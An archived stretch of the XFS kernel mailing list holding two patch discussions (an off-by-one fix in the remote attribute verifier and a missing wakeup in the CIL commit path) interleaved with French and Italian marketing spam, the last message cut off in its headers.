From jeff.liu@oracle.com Wed Jan 1 05:28:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 510D67F55 for ; Wed, 1 Jan 2014 05:28:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 332EA30406B for ; Wed, 1 Jan 2014 03:28:11 -0800 (PST) X-ASG-Debug-ID: 1388575689-04cb6c537db0c2b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 9b8BRAhATGjQp17k (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 01 Jan 2014 03:28:10 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s01BS8Se030241 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 1 Jan 2014 11:28:09 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s01BS7th021311 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 1 Jan 2014 11:28:08 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s01BS7hP022216 for ; Wed, 1 Jan 2014 11:28:07 GMT Received: from [192.168.1.106] (/114.248.197.130) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 01 Jan 2014 03:28:06 -0800 Message-ID: <52C3FBC3.3050304@oracle.com> Date: Wed, 01 Jan 2014 19:28:03 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: fix off-by-one error in xfs_attr3_rmt_verify Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: fix off-by-one error in xfs_attr3_rmt_verify Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388575690 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143622 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With CRC check is enabled, if trying to set an attributes value just equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote attr write verification procedure failure, which would yield the back trace like below: XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of file fs/xfs/xfs_attr_remote.c Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_attr3_rmt_write_verify+0x14b/0x1a0 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? vm_map_ram+0x31a/0x460 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_buf_iorequest+0x6b/0xc0 [xfs] [] xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_bwrite+0x46/0x80 [xfs] [] xfs_attr_rmtval_set+0x334/0x490 [xfs] [] xfs_attr_leaf_addname+0x24a/0x410 [xfs] [] xfs_attr_set_int+0x223/0x470 [xfs] [] xfs_attr_set+0x96/0xb0 [xfs] [] xfs_xattr_set+0x42/0x70 [xfs] [] generic_setxattr+0x62/0x80 [] __vfs_setxattr_noperm+0x63/0x1b0 [] ? evm_inode_setxattr+0xe/0x10 [] vfs_setxattr+0xb5/0xc0 [] setxattr+0x12e/0x1c0 [] ? final_putname+0x22/0x50 [] ? putname+0x2b/0x40 [] ? user_path_at_empty+0x5f/0x90 [] ? __sb_start_write+0x49/0xe0 [] ? vm_mmap_pgoff+0x99/0xc0 [] SyS_setxattr+0x8f/0xe0 [] system_call_fastpath+0x1a/0x1f Tests: setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile This patch fix it to check the remote EA size is greater than the XATTR_SIZE_MAX rather than more than or equal to it, because it's valid if the specified EA value size is equal to the limitation as per VFS setxattr interface. Signed-off-by: Jie Liu --- fs/xfs/xfs_attr_remote.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 739e0a5..5549d69 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -110,7 +110,7 @@ xfs_attr3_rmt_verify( if (be32_to_cpu(rmt->rm_bytes) > fsbsize - sizeof(*rmt)) return false; if (be32_to_cpu(rmt->rm_offset) + - be32_to_cpu(rmt->rm_bytes) >= XATTR_SIZE_MAX) + be32_to_cpu(rmt->rm_bytes) > XATTR_SIZE_MAX) return false; if (rmt->rm_owner == 0) return false; -- 1.8.3.2 From pam=news-zetrend.com@mlgnusa.com Wed Jan 1 06:37:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,TRACKER_ID,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1, T_KHOP_FOREIGN_CLICK autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A62BE7F54 for ; Wed, 1 Jan 2014 06:37:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20777AC003 for ; Wed, 1 Jan 2014 04:37:36 -0800 (PST) X-ASG-Debug-ID: 1388579847-04cbb04167b06310001-NocioJ Received: from mail10.mlgnusa.com (mail10.mlgnusa.com [194.19.244.217]) by cuda.sgi.com with ESMTP id ln22dBHzjtAeImXP for ; Wed, 01 Jan 2014 04:37:29 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.217 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=7hOwSxgZVkUrd5niSad5ES1RwAI=; b=P6EcmX4us8FtS335UJqelhypF1Bxzf1KDeJUg+m6bVG5CRPjVrBoZ+QsZVOIhik+7v2u6R0B9pP8 UW6OnbDrH3ifsKQK+9kTc6pBFx/JUcqTZVre8R5yPSy3m7VvOfOKuzRV+7MGAz71aBDq8tmwk8f+ AxBPcojN6OyHAbSW2sA= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=q+ySd1ScERwfC79Ujr/mDtNfYPsxbOkuBgt6PW/+L9DpP38THb4k7OmKOyHY4tX9cuTPhesKaepC DvU7bNSZzXP/lMJLrICvfM2OqlL+K7uCvr//9HIF9r9BhxUSNxDf/HBkoZTUiUoCxb36uyPBiNl8 7ULQZ58kBZU5hgN80GI=; Received: by mail10.mlgnusa.com id hog60i1fblch for ; Wed, 1 Jan 2014 14:37:25 +0200 (envelope-from ) Date: Wed, 1 Jan 2014 12:00:10 +0200 To: From: Weight Watchers par Zetrend Reply-To: Weight Watchers par Zetrend Subject: =?utf-8?Q?Weight_Watchers_:_profitez_d=E2=80=99offres_=C3=A0_-50%*_pour_r?= =?utf-8?Q?etrouver_votre_ligne?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?Weight_Watchers_:_profitez_d=E2=80=99offres_=C3=A0_-50%*_pour_r?= =?utf-8?Q?etrouver_votre_ligne?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID96fe685cd09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.96fe685c X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.96fe685c X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=96fe685c&e=d09c0023 List-Unsubscribe: , Sender: "Weight Watchers par Zetrend" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_21e20cfc0934829f6a9939caa940cdf0" X-Barracuda-Connect: mail10.mlgnusa.com[194.19.244.217] X-Barracuda-Start-Time: 1388579848 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, HTML_IMAGE_RATIO_06, HTML_MESSAGE, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143623 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_21e20cfc0934829f6a9939caa940cdf0 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit weight-watchers-trio-promomail Zetrend vous présente l' offre Weight Watchers : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B1416777277&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B1433554493&urlrv=http%3A%2F%2Fwww.weightwatchers.fr%2F&urlv=b8fd5b907363ceb9fd3f11946f1f2d46 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B1450331709&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B1467108925&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B1483886141&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 Weight Watchers Pass Lib : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14100663357&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14117440573&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14134217789&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135709%2Fdirect%2F01%2F&urlv=9da26dc92eca51a417c63a6196a4858f : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14150995005&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14167772221&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14184549437&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135709%2Fdirect%2F01%2F&urlv=9da26dc92eca51a417c63a6196a4858f : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14201326653&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14218103869&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14234881085&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135709%2Fdirect%2F01%2F&urlv=9da26dc92eca51a417c63a6196a4858f : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14251658301&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14268435517&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14285212733&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 Weight Watchers Online : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14301989949&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14318767165&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14335544381&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14352321597&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14369098813&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14385876029&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14402653245&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14419430461&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14436207677&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14452984893&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14469762109&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14486539325&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 : http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14503316541&urlrv=http%3A%2F%2Fclk.atdmt.com%2FD9I%2Fgo%2F471135708%2Fdirect%2F01%2F&urlv=dab64f36add35d9e3a25393766fe5043 * Offre valable en France sur le 1er mois Pass Lib. Pour toute inscription Pass Lib du 30/12/2013 au 02/03/2014 inclus, limitée à une par personne sur cette période. Les frais d'inscription de 18 € sont offerts avec l'abonnement Pass Lib. Le tarif de base en vigueur pour la réunion est de 13,50 €. Pass Lib est au prix de 21.25€ au lieu de 42.50€, soit une économie de 50%. Les réunions et l'@ssistant Weight Watchers sont disponibles séparément aux tarifs suivants : réunions à 13,50 € pour une semaine et l'@ssistant Weight Watchers à 18 € pour un mois. Achetés séparément, le prix par mois est de 76.46 € [(13,50 € x 4,33 semaines) + (18€)]. Prix susceptibles de modification sous certaines conditions. Le paiement mensuel en avance est requis.Vous serez prélevé chaque mois jusqu'à résiliation. Les prix sont mentionnés toutes taxes comprises. Cliquez ici: http://action.metaffiliation.com/trk.php?mclic=P47C2955403B14520093757&urlrv=https%3A%2F%2Fsignup.weightwatchers.fr%2Flegal%2Fmonthlypasssubagreement.aspx&urlv=14be42ce4802ebc42ee63847adcb51a3 pour accéder aux Conditions générales applicables. D'autres moyens de paiement sont disponibles sur demande en contactant notre Service Clients. ** Offre valable du 30/12/2013 au 02/03/2014 inclus : pour toute souscription à la formule 3 mois, vous bénéficiez d'une réduction de 50% sur le premier mois, soit 9 € au lieu de 18 €. Dans le cadre de la formule 3 mois, vous économisez 15 € sur les frais d'abonnement par rapport à la formule 1 mois, soit 69 € (15 € de frais d'abonnement + 18 € x 3 mois) pour la formule 3 mois, au lieu de 84 € (30 € de frais d'abonnement + 18 € x 3 mois) pour une formule 1 mois souscrite pendant trois mois. Pour en profiter, vous devez aller au terme de votre option. Les tarifs affichés incluent la TVA française au taux en vigueur. Offre réservée aux résidants de France métropolitaine, non cumulable. © 2013 Weight Watchers International, Inc. Weight Watchers est une marque déposée de Weight Watchers International, Inc. et est utilisée sous licence. WeightWatchers.fr SARL, société au capital de 15.000 euros, RCS Versailles 500 960 0347 - 7, boulevard des Chênes - Parc Ariane -Bâtiment Mars - 78284 GUYANCOURT Cedex, FRANCE ========================================== Ce courriel a été envoyé par Weight Watchers par Zetrend à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=96fe685c&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=96fe685c&ln=fr --b1_21e20cfc0934829f6a9939caa940cdf0 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit weight-watchers-trio-promomail

Zetrend vous présente l' offre Weight Watchers

Weight Watchers Weight Watchers
Démarrez en beauté. NOUVEAU : Simpl'Express de Weight Watchers
Weight Watchers Pass Lib
Réunions + Internet + Mobile -50% sur la formule 3 mois* (*voir conditions)
Weight Watchers Online
Internet + Mobile -50% sur la formule 3 mois** (**voir conditions)
* Offre valable en France sur le 1er mois Pass Lib. Pour toute inscription Pass Lib du 30/12/2013 au 02/03/2014 inclus, limitée à une par personne sur cette période. Les frais d'inscription de 18 € sont offerts avec l'abonnement Pass Lib. Le tarif de base en vigueur pour la réunion est de 13,50 €. Pass Lib est au prix de 21.25€ au lieu de 42.50€, soit une économie de 50%. Les réunions et l'@ssistant Weight Watchers sont disponibles séparément aux tarifs suivants : réunions à 13,50 € pour une semaine et l'@ssistant Weight Watchers à 18 € pour un mois. Achetés séparément, le prix par mois est de 76.46 € [(13,50 € x 4,33 semaines) + (18€)]. Prix susceptibles de modification sous certaines conditions. Le paiement mensuel en avance est requis.Vous serez prélevé chaque mois jus qu'à résiliation. Les prix sont mentionnés toutes taxes comprises. Cliquez ici pour accéder aux Conditions générales applicables. D'autres moyens de paiement sont disponibles sur demande en contactant notre Service Clients.

** Offre valable du 30/12/2013 au 02/03/2014 inclus : pour toute souscription à la formule 3 mois, vous bénéficiez d'une réduction de 50% sur le premier mois, soit 9 € au lieu de 18 €. Dans le cadre de la formule 3 mois, vous économisez 15 € sur les frais d'abonnement par rapport à la formule 1 mois, soit 69 € (15 € de frais d'abonnement + 18 € x 3 mois) pour la formule 3 mois, au lieu de 84 € (30 € de frais d'abonnement + 18 € x 3 mois) pour une formule 1 mois souscrite pendant trois mois. Pour en profiter, vous devez aller au terme de votre option. Les tarifs affichés incluent l a TVA française au taux en vigueur. Offre réservée aux résidants de France métropolitaine, non cumulable.
© 2013 Weight Watchers International, Inc.
Weight Watchers est une marque déposée de Weight Watchers International, Inc. et est utilisée sous licence.

WeightWatchers.fr SARL, société au capital de 15.000 euros, RCS Versailles 500 960 0347 - 7, boulevard des Chênes - Parc Ariane -Bâtiment Mars - 78284 GUYANCOURT Cedex, FRANCE
Ce courriel a été envoyé par Weight Watchers par Zetrend à xfs@oss.sgi.com.
Zetrend | 2, Place Louis Pradel, lyon, 60001, France
Pourquoi je reçois ce mail?
Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
--b1_21e20cfc0934829f6a9939caa940cdf0-- From jeff.liu@oracle.com Wed Jan 1 08:38:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F08647F55 for ; Wed, 1 Jan 2014 08:38:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D74138F8035 for ; Wed, 1 Jan 2014 06:38:48 -0800 (PST) X-ASG-Debug-ID: 1388587124-04cbb04168b0a770001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id SMARdDiUtq3A1BvD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 01 Jan 2014 06:38:44 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s01Ech1Q021725 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 1 Jan 2014 14:38:43 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s01Ecg2V019340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Jan 2014 14:38:42 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s01Ecfec015518; Wed, 1 Jan 2014 14:38:41 GMT Received: from [192.168.1.106] (/114.248.197.130) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 01 Jan 2014 06:38:41 -0800 Message-ID: <52C4286C.5040007@oracle.com> Date: Wed, 01 Jan 2014 22:38:36 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> <52C18F56.70709@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing In-Reply-To: <52C18F56.70709@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388587124 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143626 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/30 2013 23:20 PM, Mark Tinguely wrote: > On 12/24/13 06:48, Jeff Liu wrote: >> From: Jie Liu >> >> I can easily to hit a hang up while running fsstress and shutting down >> XFS on SSD via the tests below: >> >> Task1 Task2 >> >> list_add(&ctx->committing,&cil->xc_committing); >> >> xlog_wait(&cil->xc_commit_wait..) >> schedule()... >> >> Aborting!! list_del(&ctx->committing); >> wake_up_all(&cil->xc_commit_wait);<-- MISSING! >> >> As a result, we should handle this situation in xlog_cil_committed(). >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_log_cil.c | 2 ++ >> 1 file changed, 2 insertions(+) >> >> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c >> index 5eb51fc..8c7e9c7 100644 >> --- a/fs/xfs/xfs_log_cil.c >> +++ b/fs/xfs/xfs_log_cil.c >> @@ -406,6 +406,8 @@ xlog_cil_committed( >> >> spin_lock(&ctx->cil->xc_push_lock); >> list_del(&ctx->committing); >> + if (abort) >> + wake_up_all(&ctx->cil->xc_commit_wait); >> spin_unlock(&ctx->cil->xc_push_lock); >> >> xlog_cil_free_logvec(ctx->lv_chain); > > Hi Jeff, I hope you had a good break, Thanks :) > > So you are saying the wakeup in the CIL push error path missing? Yes. > I agree with that. But I don't like adding a new wake up to > xlog_cil_committed(), which is after the log buffer is written. IMO this callback would be called if any problem is happened before the log buffer is written as well, e.g, xlog_cil_push()->xfs_log_notify() <-- failed | |->xlog_cil_committed() Besides, the CTX will be removed from the committing list here but there might still have waiters sleeping on it. Thanks, -Jeff From paola.casale@trafficopertutti.com Wed Jan 1 12:00:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA6C97F55 for ; Wed, 1 Jan 2014 12:00:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 85054AC007 for ; Wed, 1 Jan 2014 10:00:38 -0800 (PST) X-ASG-Debug-ID: 1388599233-04cbb04166b11b20001-NocioJ Received: from trafficopertutti.com (ip-89-207-132-148.amsterdam.s-goliath.secureserving.net [89.207.132.148]) by cuda.sgi.com with ESMTP id AZ1KQxM04vHyTICu for ; Wed, 01 Jan 2014 10:00:34 -0800 (PST) X-Barracuda-Envelope-From: paola.casale@trafficopertutti.com X-Barracuda-Apparent-Source-IP: 89.207.132.148 Date: Wed, 1 Jan 2014 17:58:27 +0000 To: xfs@oss.sgi.com From: Paola Casale Subject: Scambi di Link - Traffico Vero Gratis X-Priority: 3 X-ASG-Orig-Subj: Scambi di Link - Traffico Vero Gratis MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_666f0068db1223cd09f211c79fd56219" X-Barracuda-Connect: ip-89-207-132-148.amsterdam.s-goliath.secureserving.net[89.207.132.148] X-Barracuda-Start-Time: 1388599233 X-Barracuda-URL: 